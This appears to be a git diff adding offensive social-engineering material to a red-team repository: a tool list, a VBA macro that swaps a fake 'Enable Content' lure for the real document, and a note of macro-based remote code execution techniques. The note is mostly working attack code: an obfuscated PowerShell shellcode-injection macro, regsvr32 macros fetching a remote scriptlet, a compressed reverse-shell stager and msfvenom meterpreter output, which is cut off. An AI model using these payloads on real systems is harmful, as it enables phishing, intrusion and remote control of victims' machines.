([gist](https://gist.github.com/mgeeky/07ffbd9dbb64c80afe05fb45a0f66f81)) + +- **`set-handler.rc`** - Quickly set metasploit's multi-handler + web_delivery (separated) handler for use with powershell. ([gist](https://gist.github.com/mgeeky/bf4d732aa6e602ca9b77d089fd3ea7c9)) + +- **`delete-warning-div-macro.vbs`** - VBA Macro function to be used as a Social Engineering trick removing "Enable Content" warning message as the topmost floating text box with given name. ([gist](https://gist.github.com/mgeeky/9cb6acdec31c8a70cc037c84c77a359c)) + +- **`vba-macro-mac-persistence.vbs`** - (WIP) Working on VBA-based MacPersistance functionality for MS Office for Mac Macros. ([gist](https://gist.github.com/mgeeky/dd184e7f50dfab5ac97b4855f23952bc)) + +- **`WMIPersistence.vbs`** - Visual Basic Script implementing WMI Persistence method (as implemented in SEADADDY malware and further documented by Matt Graeber) to make the Macro code schedule malware startup after roughly 3 minutes since system gets up. ([gist](https://gist.github.com/mgeeky/d00ba855d2af73fd8d7446df0f64c25a)) + +- **`MacroDetectSandbox.vbs`** - Visual Basic script responsible for detecting Sandbox environments, as presented in modern Trojan Droppers implemented in Macros. ([gist](https://gist.github.com/mgeeky/61e4dfe305ab719e9874ca442779a91d)) + +- **`Various-Macro-Based-RCEs.md`** - Various Visual Basic Macros-based Remote Code Execution techniques to get your meterpreter invoked on the infected machine. ([gist](https://gist.github.com/mgeeky/61e4dfe305ab719e9874ca442779a91d)) + +- **`SubstitutePageMacro.vbs`** - This is a template for the Malicious Macros that would like to substitute primary contents of the document (like luring/fake warnings to "Enable Content") and replace document's contents with what is inside of an AutoText named `RealDoc` (configured via variable `autoTextTemplateName` ). ([gist](https://gist.github.com/mgeeky/3c705560c5041ab20c62f41e917616e6)) + +- **`warnings\EN-Word.docx`** and **`warnings\EN-Excel.docx`** - Set of ready-to-use Microsoft Office Word shapes that can be pasted / inserted into malicious documents for enticing user into clicking "Enable Editing" and "Enable Content" buttons. + +- **`backdoor-drop.js`** - Internet Explorer - JavaScript trojan/backdoor dropper template, to be used during Penetration Testing assessments. ([gist](https://gist.github.com/mgeeky/b0aed7c1e510560db50f96604b150dac)) + diff --git a/social-engineering/SubstitutePageMacro.vbs b/social-engineering/SubstitutePageMacro.vbs new file mode 100644 index 0000000..24d2f84 --- /dev/null +++ b/social-engineering/SubstitutePageMacro.vbs @@ -0,0 +1,74 @@ +Public alreadyLaunched As Integer + + +Private Sub Malware() + ' + ' ============================================ + ' + ' Enter here your malware code here. + ' It will be started on auto open surely. + ' + ' ============================================ + + MsgBox ("Here comes the malware!") + + ' ============================================ + +End Sub + + +Private Sub Launch() + If alreadyLaunched = True Then + Exit Sub + End If + Malware + SubstitutePage + alreadyLaunched = True +End Sub + +Private Sub SubstitutePage() + ' + ' This routine will take the entire Document's contents, + ' delete them and insert in their place contents defined in + ' INSERT -> Quick Parts -> AutoText -> named as in `autoTextTemplateName` + ' + Dim doc As Word.Document + Dim firstPageRange As Range + Dim rng As Range + Dim autoTextTemplateName As String + + ' This is the name of the defined AutoText prepared in the document, + ' to be inserted in place of previous contents. + autoTextTemplateName = "RealDoc" + + Set firstPageRange = Word.ActiveDocument.Range + firstPageRange.Select + Selection.WholeStory + Selection.Delete Unit:=wdCharacter, Count:=1 + + Set doc = ActiveDocument + Set rng = doc.Sections(1).Range + doc.AttachedTemplate.AutoTextEntries(autoTextTemplateName).Insert rng, True + doc.Save + +End Sub + +Sub AutoOpen() + ' Becomes launched as first on MS Word + Launch +End Sub + +Sub Document_Open() + ' Becomes launched as second, another try, on MS Word + Launch +End Sub + +Sub Auto_Open() + ' Becomes launched as first on MS Excel + Launch +End Sub + +Sub Workbook_Open() + ' Becomes launched as second, another try, on MS Excel + Launch +End Sub diff --git a/social-engineering/Various-Macro-Based-RCEs.md b/social-engineering/Various-Macro-Based-RCEs.md new file mode 100644 index 0000000..2f1ed74 --- /dev/null +++ b/social-engineering/Various-Macro-Based-RCEs.md @@ -0,0 +1,1169 @@ +This is a note for myself describing various Visual Basic macros construction strategies that could be used for remote code execution via malicious Document vector. +Nothing new or fancy here, just a list of techniques, tools and scripts collected in one place for a quick glimpse of an eye before setting a payload. + + +_All of the below examples had been generated for using as a remote address: **192.168.56.101**._ + +List: + +0. Page substiution macro for luring user to click _Enable Content_ +1. The [Unicorn](https://github.com/trustedsec/unicorn) **Powershell** based payload +2. `regsvr32` based method +3. Metasploit generated payload `vba-exe` +4. Metasploit generated payload `vba-psh` +5. `Empire` generated `windows/macro` stager +6. Using `Veil-Evasion` generated _powershell.exe_ command within `Luckystrike` generated macro +7. `wePWNise` architecture-independent Macro dynamically bypassing SRPs+EMET +8. Custom macro taking commands from *Author property* to feed them to `StdIn` of Powershell +9. ActiveX-based (`InkPicture` control, `Painted` event) autorun macro +10. Generate Base64-encoded HTA application to be decoded using `certutil` + + +--- + +**0. Page substiution macro for luring user to click _Enable Content_** + +One can use the [following macro](https://gist.github.com/mgeeky/3c705560c5041ab20c62f41e917616e6) for implementing a document-contents switch after luring user to click "Enable Content": + +``` +Public alreadyLaunched As Integer + + +Private Sub Malware() + ' + ' ============================================ + ' + ' Enter here your malware code here. + ' It will be started on auto open surely. + ' + ' ============================================ + + MsgBox ("Here comes the malware!") + + ' ============================================ + +End Sub + + +Private Sub Launch() + If alreadyLaunched = True Then + Exit Sub + End If + Malware + SubstitutePage + alreadyLaunched = True +End Sub + +Private Sub SubstitutePage() + ' + ' This routine will take the entire Document's contents, + ' delete them and insert in their place contents defined in + ' INSERT -> Quick Parts -> AutoText -> named as in `autoTextTemplateName` + ' + Dim doc As Word.Document + Dim firstPageRange As Range + Dim rng As Range + Dim autoTextTemplateName As String + + ' This is the name of the defined AutoText prepared in the document, + ' to be inserted in place of previous contents. + autoTextTemplateName = "RealDoc" + + Set firstPageRange = Word.ActiveDocument.Range + firstPageRange.Select + Selection.WholeStory + Selection.Delete Unit:=wdCharacter, Count:=1 + + Set doc = ActiveDocument + Set rng = doc.Sections(1).Range + doc.AttachedTemplate.AutoTextEntries(autoTextTemplateName).Insert rng, True + doc.Save + +End Sub + +Sub AutoOpen() + ' Becomes launched as first on MS Word + Launch +End Sub + +Sub Document_Open() + ' Becomes launched as second, another try, on MS Word + Launch +End Sub + +Sub Auto_Open() + ' Becomes launched as first on MS Excel + Launch +End Sub + +Sub Workbook_Open() + ' Becomes launched as second, another try, on MS Excel + Launch +End Sub +``` + +The use case scenario goes as follows: + +- We want the victim to click _"Enable Content"_ to get our macro code executed +- To do so, we prepare a fake "Need to Enable Content" message like compatibility issues, AV triggered flag or alike +- Then we place **entire real document contents** in an **AutoText** named `RealDoc` (Office ribbon -> INSERT -> Quick Parts -> AutoTexts -> name it: `RealDoc`) +- The user clicks the _"Enable Content"_ and the above macro gets executed firstly, making a page switch by deleting the fake warning message and pasting everything what has been stored in this very document in **AutoText** called `RealDoc`. + + +--- + + + +**1. The [Unicorn](https://github.com/trustedsec/unicorn) **Powershell** based payload** + +This payload uses downgraded **Powershell.exe** command-line invocation that will download 2nd stage from the remote server and execute it on the owned machine. +The downside of this method is the fact that the `Unicorn` script generates only **Powershell.exe** related payload and also adds a MsgBox with english message stating that the Excel/Word application needs to be closed. Only then the payload gets launched properly. + +**Example script:** + +``` +Private Sub Document_Open() +Test +End Sub + +Private Sub DocumentOpen() +Test +End Sub + +Private Sub Auto_Open() +Test +End Sub + +Private Sub AutoOpen() +Test +End Sub + +Private Sub Auto_Exec() +Test +End Sub + +Sub Test() +Dim HsQgOKMOa +HsQgOKMOa = "-w 1 -C ""sv xW -;sv PrZ ec;sv dyS ((gv xW).value.toString()+(gv PrZ).value.toString());" & "p" & "o" & "w" & "e" & "r" & "s" & "h" & "e" & "l" & "l" & " (gv dyS).value.toString() ('JABDAEgAeAAgAD0AIAAnACQAdQB4AHIAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgA" _ +& "gAGwAcABBAGQAZAByAGUAcwBzACwAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwAQQBsAGw'+'AbwBjAGEAdABpAG8AbgBUAHkAcABlACwAIAB1AGkAbgB0ACAAZgBsAFAAcgBvAHQAZQBjAHQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKABJAG4AdABQAHQAcgAgAGwAcABU" _ +& "AGgAcgBlAGEAZABBAHQAdAByAGkAYgB1AHQAZQBzACwAIAB1AG'+'kAbgB0ACAAZAB3AFMAdABhAGMAawBTAGkAegBlACwAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAUABhAHIAYQBtAGUAdABlAHIALAAgAHUAaQBuAHQAIABkAHcAQwByAGUAYQB0AGkAbwBuAEYAbABhAGcAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBtAHMAdgBjAHIAdAAuAGQAbABsA" _ +& "CIAKQBdA'+'HAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAbQBlAG0AcwBlAHQAKABJAG4AdABQAHQAcgAgAGQAZQBzAHQALAAgAHUAaQBuAHQAIABzAHIAYwAsACAAdQBpAG4AdAAgAGMAbwB1AG4AdAApADsAJwAnADsAJAB3ACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAdQB4AHIAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBu'+'AGEAbQBlAHMAcABhAGMAZQAgAFcAaQB" _ +& "uADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZAA5ACwAMAB4AGMANQAsADAAeABiAGQALAAwAHgAMQBhACwAMAB4ADYAMAAsADAAeABkAGIALAAwAHgAMgA3ACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1AGUALAAwAHgAMwAzACwAMAB4AGMAOQA'+'sADAAeABiADEALAAwAHgANAA3ACwAMAB4ADMAMQAsADAAeAA2AGUALAAwAHgAMQA4ACwAMAB4" _ +& "ADAAMwAsADAAeAA2AGUALAAwAHgAMQA4ACwAMAB4ADgAMwAsADAAeABjADYALAAwAHgAMQBlACwAMAB4ADgAMgAsADAAeAAyAGUALAAwAHgAZABiACwAMAB4AGYANgAsADAAeABjADAALAAwAHgAZAAxACwAMAB4ADIANAAsADAAeAAwADYALAAwAHgAYQA1ACwAMAB4ADUAOAAsADAAeABjADEALAAwAHgAMwA3ACwAMAB4AGUANQAsADAAeAAzAGYALA'+'AwAHgAOAAxACwAMAB4ADYANwAsADAAeABkADUALAAwAHgAMwA0ACwAMAB4AGMANwAsADAAeAA4AGIALAAwAHgAOQBlACwAMAB4ADEAOQAsADAAeABmA" _ +& "GMALAAwAHgAMQA4ACwAMAB4AGQAMgAsADAAeABiADUALAAwAHgAZgAzACwAMAB4AGEAOQAsADAAeAA1ADkALAAwAHgAZQAwACwAMAB4ADMAYQAsADAAeAAyAGEALAAwAHgAZgAxACwAMAB4AGQAMAAsADAAeAA1AGQALAAwAHgAYQA4ACwAMAB4ADAAOAAsADAAeAAwADUALAAwAHgAYgBlACwAM'+'AB4ADkAMQAsADAAeABjADIALAAwAHgANQA4ACwAMAB4AGIAZgAsADAAeABkADYALAAwAHgAMwBmACwAMAB4ADkAMAAsADAAeABlAGQALAAwAHgAOABmACwAMAB4ADMANAAsADAAeAAwADcALAAwAHgAMAAyAC" _ +& "wAMAB4AGEANAAsADAAeAAwADEALAAwAHgAOQA0ACwAMAB4AGEAOQAsADAAeABmADYALAAwAHgAOAA0ACwAMAB4ADkAYwAsADAAeAA0AGUALAAwAHgANABlACwAMAB4AGEANgAsADAAeAA4AGQALAAwAHgAYwAwACwAMAB4AGMANQAsADAA'+'eABmADEALAAwAHgAMABkACwAMAB4AGUAMgAsADAAeAAwAGEALAAwAHgAOABhACwAMAB4ADAANwAsADAAeABmAGMALAAwAHgANABmACwAMAB4AGIANwAsADAAeABkAGUALAAwAHgANwA3ACwAMAB4AGIAYgAsADAAeAA0ADMALAAwAHgAZQAxACwAMAB4ADUAMQAsADA" _ +& "AeABmADIALAAwAHgAYQBjACwAMAB4ADQAZQAsADAAeAA5AGMALAAwAHgAMwBiACwAMAB4ADUAZgAsADAAeAA4AGUALAAwAHgAZAA4ACwAMAB4AGYAYgAsADAAeAA4ADAALAAwAHg'+'AZQA1ACwAMAB4ADEAMAAsADAAeABmADgALAAwAHgAMwBkACwAMAB4AGYAZQAsADAAeABlADYALAAwAHgAOAAzACwAMAB4ADkAOQAsADAAeAA4AGIALAAwAHgAZgBjACwAMAB4ADIAMwAsADAAeAA2ADkALAAwAHgAMgBiACwAMAB4AGQAOQAsADAAeABkADIALAAwAHgAYgBlACwAMAB4AGEAYQAsADAAeABhAGEALAAwAHgA" _ +& "ZAA4ACwAMAB4ADAAYgAsADAAeABiADgALAAwAHgAZgA1ACwAMAB4AGYAYwAsADAAeAA4AGEALAAwAHgANgBkACwAMAB4AD'+'gAZQAsADAAeABmADgALAAwAHgAMAA3ACwAMAB4ADkAMAAsADAAeAA0ADEALAAwAHgAOAA5ACwAMAB4ADUAYwAsADAAeABiADcALAAwAHgANAA1ACwAMAB4AGQAMgAsADAAeAAwADcALAAwAHgAZAA2ACwAMAB4AGQAYwAsADAAeABiAGUALAAwAHgAZQA2ACwAMAB4AGUANwAsADAAeAAzAGYALAAwAHgANgAxACwAMAB4ADUANgAsADAAeAA0ADIALAAwAHgANABiACwAMAB4ADgAZ" _ +& "gAsADAAeAA4ADMALAAwAHgAZgBmACwAMAB4ADEANgAsADAAeABjA'+'DcALAAwAHgANgAwACwAMAB4ADMAMgAsADAAeABhADkALAAwAHgAMQA3ACwAMAB4AGUAZgAsADAAeAA0ADUALAAwAHgAZABhACwAMAB4ADIANQAsADAAeABiADAALAAwAHgAZgBkACwAMAB4ADcANAAsADAAeAAwADUALAAwAHgAMwA5ACwAMAB4AGQAOAAsADAAeAA4ADMALAAwAHgANgBhACwAMAB4ADEAMAAsADAAeAA5AGMALAAwAHgAMQBjACwAMAB4ADkANQAsADAAeAA5AGIALAAwAHgAZABkACwAMAB4ADMANQAsADAAeAA1ADEALA" _ +& "AwAHgAYwBm'+'ACwAMAB4ADgAZAAsADAAeAAyAGQALAAwAHgANwAwACwAMAB4ADcAMAAsADAAeAA0ADYALAAwAHgAYQBlACwAMAB4ADcAZAAsADAAeABhADUALAAwAHgAZgAzACwAMAB4AGEAYgAsADAAeABlADkALAAwAHgAOAA2ACwAMAB4AGEAYwAsADAAeAA4AGMALAAwAHgAOABjACwAMAB4ADYAZQAsADAAeABhAGYALAAwAHgAZQBjACwAMAB4ADQAZgAsADAAeABkADQALAAwAHgAMgA2ACwAMAB4ADAAYQAsADAAeAAxAGYALAAwAHgANwBhACwAMAB4ADYAOQA'+'sADAAeAA4ADMALAAwAHgAZABmACwA" _ +& "MAB4ADIAYQAsADAAeABjADkALAAwAHgANwAzACwAMAB4AGIANwAsADAAeAAyADAALAAwAHgAYwA2ACwAMAB4AGEAYwAsADAAeABhADcALAAwAHgANABhACwAMAB4ADAAYwAsADAAeABjADUALAAwAHgANABkACwAMAB4AGEANQAsADAAeABmADkALAAwAHgAYgBkACwAMAB4AGYAOQAsADAAeAA1AGMALAAwAHgAYQAwACwAMAB4ADMANgAsADAAeAA5ADgALAAwAHgAYQAxACwAMAB4ADcAZQAsADAAeAAzADMALA'+'AwAHgAOQBhACwAMAB4ADIAYQAsADAAeAA4AGQALAAwAHgAYwAzACwAMAB4ADUANAAsADAAe" _ +& "ABkAGIALAAwAHgAZgA4ACwAMAB4AGQANwAsADAAeAAwADAALAAwAHgAMgBiACwAMAB4AGIANwAsADAAeAA4AGEALAAwAHgAOAA2ACwAMAB4ADMANAAsADAAeAA2AGQALAAwAHgAYQAwACwAMAB4ADIANgAsADAAeABhADEALAAwAHgAOABhACwAMAB4ADYAMwAsADAAeAA3ADEALAAwAHgANQBkACwAMAB4ADkAMQAsADAAeAA1ADIALAAwAHgAYgA1ACwAM'+'AB4AGMAMgAsADAAeAA2AGEALAAwAHgAYgAxACwAMAB4AGMAZQAsADAAeABjAGIALAAwAHgAZgBlACwAMAB4ADcAYQAsADAAeABiADgALAAwAHgAMw" _ +& "AzACwAMAB4AGUAZgAsADAAeAA3AGEALAAwAHgAMwA4ACwAMAB4ADYAMgAsADAAeAA2ADUALAAwAHgANwBiACwAMAB4ADUAMAAsADAAeABkADIALAAwAHgAZABkACwAMAB4ADIAOAAsADAAeAA0ADUALAAwAHgAMQBkACwAMAB4AGMAOAAsADAAeAA1AGMALAAwAHgAZAA2ACwAMAB4ADgAOAAsADAA'+'eABmADMALAAwAHgAMwA0ACwAMAB4ADgAYgAsADAAeAAxAGIALAAwAHgAOQBjACwAMAB4AGIAYQAsADAAeABmADIALAAwAHgANgBjACwAMAB4ADAAMwAsADAAeAA0ADQALAAwAHgAZAAxACwAMAB4ADYAYwA" _ +& "sADAAeAA3AGYALAAwAHgAOQAzACwAMAB4ADEAZgAsADAAeAAxAGIALAAwAHgAOQAxACwAMAB4ADIANwA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACk'+'AewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQAUwBUAGsAPQAkAHcAOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsADAAeAAxADAAMAAwACwAJABnACwAMAB4ADQAMAApADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAg" _ +& "ACgAJAB6AC4ATABlAG4AZwB0AGgALQAxACkAOwAkAGkAKwArACkAIAB7ACQAdwA6ADoAbQBlAG0AcwBlAHQAKABbAEkAbgB0AFAAdAByAF0AKAAkAFMAVABrAC4AVABvAEkAbgB0AD'+'MAMgAoACkAKwAkAGkAKQAsACAAJAB6AFsAJABpAF0ALAAgADEAKQB9ADsAJAB3ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABTAFQAawAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5A" _ +& "HMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlA'+'G0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkAEMASAB4ACkAKQA7ACQATABtAE8AIAA9ACAAIgAtAGUAYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQATwBiAEUAdgAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgAC" _ +& "sAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQ'+'AG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJABPAGIARQB2ACAAJABMAG0ATwAgACQAZQAiAH0AZQBsAHMAZQB7ADsAaQBlAHgAIAAiACYAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAJABMAG0ATwAgACQAZQAiADsAfQA=')""" + +Dim EUrxrXO +EUrxrXO = "S" & "h" & "e" & "l" & "l" +Dim aHiMN +aHiMN = "W" & "S" & "c" & "r" & "i" & "p" & "t" +Dim XkOPOzVOswzjeFO +XkOPOzVOswzjeFO = aHiMN & "." & EUrxrXO +Dim DxDAIPQizB +Dim ToHtLtKuKfUGc +Set DxDAIPQizB = VBA.CreateObject(XkOPOzVOswzjeFO) +Dim jMkUOSWtofK +jMkUOSWtofK = "p" & "o" & "w" & "e" & "r" & "s" & "h" & "e" & "l" & "l" & "." & "e" & "x" & "e" & " " +ToHtLtKuKfUGc = DxDAIPQizB.Run(jMkUOSWtofK & HsQgOKMOa, 0, False) +Dim title As String +title = "Microsoft Office Corrupt Application (Compatibility Mode)" +Dim msg As String +Dim intResponse As Integer +msg = "This application appears to be made on an older version of the Microsoft Office product suite. Please have the author save to a newer and supported format. [Error Code: -219]" +intResponse = MsgBox(msg, 16, title) +Application.Quit +End Sub +``` + + +--- + + +**2. `regsvr32` based method** + +This method works by making built-in Microsoft tool named `regsvr32` that is used for registering and unregistering OLE Controls / ActiveX objects even from remote resources in a form of **scriptlet** files (`.sct`). By leveraging that feature we can supply remotely hosted (on the attacker-controlled web server) malicious _scriptlet_ file that would after being loaded execute arbitrary commands on the victim's machine. + +The biggest advantage of this method is that the `regsvr32` application is by default whitelisted one and therefore can be used for remote code execution within restricted by AppLocker or Software Restriction Policies (SRPs) environment. In other words, if the victim user is disallowed from running untrusted applications, the `regsvr32` will be the one to go for in order to bypass application whitelisting. + +(This technique could be further automated using `exploit/windows/misc/regsvr32_applocker_bypass_server` module in _Metasploit_). + +As an example of such scriptlets we can use one of the [Casey Smith's payloads](https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302): + +**File: `bandit.sct`** +``` + + + + + + +``` + +Then one will have to serve a `backdoor` file on the Web server that would connect back to the listener, for instance CMD Powershell reverse tcp: + +``` +powershell.exe -nop -w hidden -c 'if([IntPtr]::Size -eq 4){$b=''powershell.exe''}else{$b=$env:windir+''\syswow64\WindowsPowerShell\v1.0\powershell.exe''};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments=''-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''''H4sIAI7tmlkCA7VWbW+jOBD+3JX2P6BVJEBK89bsZltppYMkNLShTUpD3i46uWDAiYNTY5qXvf3vNySwTbXtqbfSoVaxmRl7/DzPjPGTyBWERdLaIWjUkL5//HDSQxwtJaWwxb4bbr8WpQJqW3iNqurJCZgLNODY0aRvkjLVVqsWWyISzS4umgnnOBKHeekSCy2O8fKBEhwrqvS3NAwxx6e3D3PsCum7VPirdEnZA6KZ27aJ3BBLp1rkpbYuc1GaWMleUSIU+c8/ZXV6Wp2V2o8JorEi29tY4GXJo1RWpR9quuH9doUV2SIuZzHzRWlIorNaaRDFyMc3sNoTtrAImRfLKpwD/jgWCY+k7ETpEgcHRYZhjzNX8zyOY/AvmdETW2ClECWUFqU/lGm2/10SCbLEYBeYs5WN+RNxcVzqoMij+A77M+UGr/NjvzdIOQ4Cr57gahEoeTVRi3kJxYdYWf011ZxIFZ4jMgGDHx8/fPzg5xLw1zFvfW6Mj0UAo5PpfowhVaXHYrL3/SZVipIFWyLB+BamhXueYHUmTVMSprOZVBC3V8W3w6u5L3hG17WzcRg61XMwTB1GvBkEZhwVWCNatHjlbmim1rcV18I+iXBrG6ElcXNRKa+hj32K90cu5W43kKAiZwbstTDFARIpmkVp+mtYe0nEz1g9IdTDXHOBwRiyAnLVl8kcCFJkM7LwEuA6zGXgwgcp49w7k+823z2dg5PcpCiOi1IvgVpyi5KNEcVeUdKimGQmLRFsP5Sf07USKoiLYpEvN1Nfopnt2mRRLHjiAo+AwL29wi5BNAWkKHWIh/WtTYJ8d/lVOJqIUhIFsNIT0AFvUhhskaqDQ6KpEtSSjYW5XFG8BJd9ZRsUBVDHWS3s1YQC7Mmvp5nr/SDuFJYcj6MkgWubMlGUHMIFtIkU4mdx/VYmR13iKKcmxxlBSl5GU30rUuEXFg3v646kWs2Q2uPCBWBicLbUUYy/1G3BATHlU/mWNDV4xmZELVdfkKq2JlXTgv8BOTNZq+FdX807Zd7ahL5mxqbV6bX6nU796cp26sJum+K6ZwqrPZrPba1zNxiLial17kllMa7vVldkZ3c1b7wpf9npu3VF3+zmgeePW74fNHz7rvrZIN1hs69Xaqjbaifdob7WK/W4TdadPhn0F1eGeBg7FA38cjCqniOy6fK5U2XWztS0y/DM3V35zmVoedtxp3w+rC+0tqY1o7Zj6Ox6rHOtV3ZQ4LD1dVCfDIOmphsuwZP+wND7fUPXBpfzx9Z5OYDYEQr1oVMjk9XoLoS5ASlY5Urd9PCGfe0OifOUrqU/6sZkhLTuZGuUy9VxXEMLnWk6gGhMHiGn8croUYi/H9SY5tCbZ99+p3XtTqqN2Pr2KeUWyC2sa7iCwstR0D4/ouytBm0hHoeIApXQd/PCMhg3sh7aYySNUJTsOl1gHmEKlxBcU7koNUqZm3bzn/0WbpNDj59BeQ1geFZ7daRKPx3V5z6fv7q4mECuIPKDAEtdHAUiLFY2Z5UKNOvKpl6BQ7//hE222irZYsW03R9j9bwN3W+jpiVQWN4xe7T06sMq/r/BzCowhB/vPWA+v/sX67sArhRfAPGL9eWL/wT5b+AwRESArw3dhOLDPfc2HJmMjr4RjhgDpfjZk36u3Sbi9Aa+IP4BA1mEpCIKAAA=''''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();'';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle=''Hidden'';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);' +``` + + +The above file has to be stored on the remotely accessible web server and named for instance **bandit.sct**. Then, we can use the following macro embedded in Office file that will be sent to the victim for opening: + +**Macro/Script to be used in Malicious Document**: +``` +Private Sub Document_Open() +Test +End Sub + +Private Sub DocumentOpen() +Test +End Sub + +Private Sub Auto_Open() +Test +End Sub + +Private Sub AutoOpen() +Test +End Sub + +Private Sub Auto_Exec() +Test +End Sub + +Private Sub Test() + Dim shell + Dim out + Set shell = VBA.CreateObject("WScript.Shell") + out = shell.Run("regsvr32 /u /n /s /i:http://192.168.56.101/bandit.sct scrobj.dll", 0, False) +End Sub +``` + +So the entire attack goes as follows: + +- Malicious document with `Run("regsvr32 [...] /i:http://[...]/file.sct")` +- `file.sct` delivers Powershell Download & Exec command (`backdoor`) +- `backdoor` Powershell CMD reverse tcp 2nd stage gets delivered and executed + + +--- + + +**3. Metasploit generated payload `vba-exe`** + +In this method, we leverage the Metasploit's `msfvenom` utility to generate a `vba-exe` payload that consists of two parts: + +- A macro that shall be pasted in `Auto_Open` function +- An exe file encoded in form of "&H" hex chars long blob. + +We can generate this macro as follows: + +``` +work|16:42|~ # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 -f vba-exe +``` + +Then we will get the following output: +``` +'************************************************************** +'* +'* This code is now split into two pieces: +'* 1. The Macro. This must be copied into the Office document +'* macro editor. This macro will run on startup. +'* +'* 2. The Data. The hex dump at the end of this output must be +'* appended to the end of the document contents. +'* +'************************************************************** +'* +'* MACRO CODE +'* +'************************************************************** + +Sub Auto_Open() + Ctjwp12 +End Sub + +Sub Ctjwp12() + Dim Ctjwp7 As Integer + Dim Ctjwp1 As String + Dim Ctjwp2 As String + Dim Ctjwp3 As Integer + Dim Ctjwp4 As Paragraph + Dim Ctjwp8 As Integer + Dim Ctjwp9 As Boolean + Dim Ctjwp5 As Integer + Dim Ctjwp11 As String + Dim Ctjwp6 As Byte + Dim Vvdicidvtv as String + Vvdicidvtv = "Vvdicidvtv" + Ctjwp1 = "EVVVfVKLSHcv.exe" + Ctjwp2 = Environ("USERPROFILE") + ChDrive (Ctjwp2) + ChDir (Ctjwp2) + Ctjwp3 = FreeFile() + Open Ctjwp1 For Binary As Ctjwp3 + For Each Ctjwp4 in ActiveDocument.Paragraphs + DoEvents + Ctjwp11 = Ctjwp4.Range.Text + If (Ctjwp9 = True) Then + Ctjwp8 = 1 + While (Ctjwp8 < Len(Ctjwp11)) + Ctjwp6 = Mid(Ctjwp11,Ctjwp8,4) + Put #Ctjwp3, , Ctjwp6 + Ctjwp8 = Ctjwp8 + 4 + Wend + ElseIf (InStr(1,Ctjwp11,Vvdicidvtv) > 0 And Len(Ctjwp11) > 0) Then + Ctjwp9 = True + End If + Next + Close #Ctjwp3 + Ctjwp13(Ctjwp1) +End Sub + +Sub Ctjwp13(Ctjwp10 As String) + Dim Ctjwp7 As Integer + Dim Ctjwp2 As String + Ctjwp2 = Environ("USERPROFILE") + ChDrive (Ctjwp2) + ChDir (Ctjwp2) + Ctjwp7 = Shell(Ctjwp10, vbHide) +End Sub + +Sub AutoOpen() + Auto_Open +End Sub + +Sub Workbook_Open() + Auto_Open +End Sub + +'************************************************************** +'* +'* PAYLOAD DATA +'* +'************************************************************** + +Vvdicidvtv 